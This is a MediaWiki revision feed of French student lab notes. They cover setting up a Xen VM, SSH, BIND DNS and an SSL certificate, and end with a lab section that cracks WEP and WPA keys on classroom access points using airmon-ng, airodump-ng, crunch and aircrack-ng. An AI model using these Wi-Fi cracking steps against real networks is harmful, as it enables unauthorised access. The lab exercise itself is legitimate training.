On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés. On peut mettre le fichier .key dans le repertoire /etc/ssl/private.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/.&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57014</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57014"/>
				<updated>2021-12-13T15:55:33Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Certificat SSL */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
 ns1     IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
Puis on execute &lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
On obtient : &lt;br /&gt;
 Dec 13 10:30:14 Corona named[3027]: client @0x7f684c01f298 89.149.202.122#443 (sl): query (cache) 'sl/ANY/IN' denied&lt;br /&gt;
Normalement, on s'attend pas à ça, mais bon, dans la vie on a pas toujours ce que l'on veut alors on s'en contentera.&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés. On peut mettre le fichier .key dans le repertoire /etc/ssl/private.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/.&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56995</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56995"/>
				<updated>2021-12-13T15:28:37Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déploiement site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
